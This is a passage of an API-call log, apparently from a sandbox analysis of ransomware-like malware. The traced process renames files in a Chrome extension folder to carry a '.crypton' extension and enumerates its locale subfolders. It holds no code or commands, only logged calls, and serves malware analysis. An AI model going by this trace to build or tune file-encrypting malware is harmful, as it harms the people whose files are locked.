halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.crypton"), dwFlags=0x2) returned 1 [0189.416] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.crypton"), dwFlags=0x2) returned 1 [0189.421] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.crypton"), dwFlags=0x2) returned 1 [0189.423] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.crypton"), dwFlags=0x2) returned 1 [0189.430] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x4a6688 | out: lpFindFileData=0x4a6688*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee450420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee450420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5499d0 [0189.435] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee450420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee450420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.440] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee450420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee450420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.445] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee476580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee476580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.450] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee476580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee476580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.455] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee476580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee476580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.460] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee49c6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee49c6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.468] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee49c6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee49c6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.473] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee4c2840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee4c2840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.478] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee4c2840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee4c2840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.484] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee4c2840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee4c2840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.489] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee4e89a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee4e89a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.494] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee4e89a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee4e89a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.499] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee4e89a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee4e89a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.506] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee50eb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee50eb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.511] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee50eb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee50eb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.516] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee50eb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee50eb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.520] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee534c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee534c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.526] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee534c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee534c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.530] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee534c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee534c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.537] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee55adc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee55adc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.541] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee55adc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee55adc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.547] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee55adc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee55adc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.552] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee580f20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee580f20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.557] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee580f20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee580f20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.562] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee580f20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee580f20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.568] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee5a7080, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee5a7080, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.577] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee5a7080, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee5a7080, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.701] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee6d7b80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee6d7b80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.707] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee6fdce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee6fdce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.713] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee6fdce0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee6fdce0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.730] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xee723e40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee723e40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0189.736] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 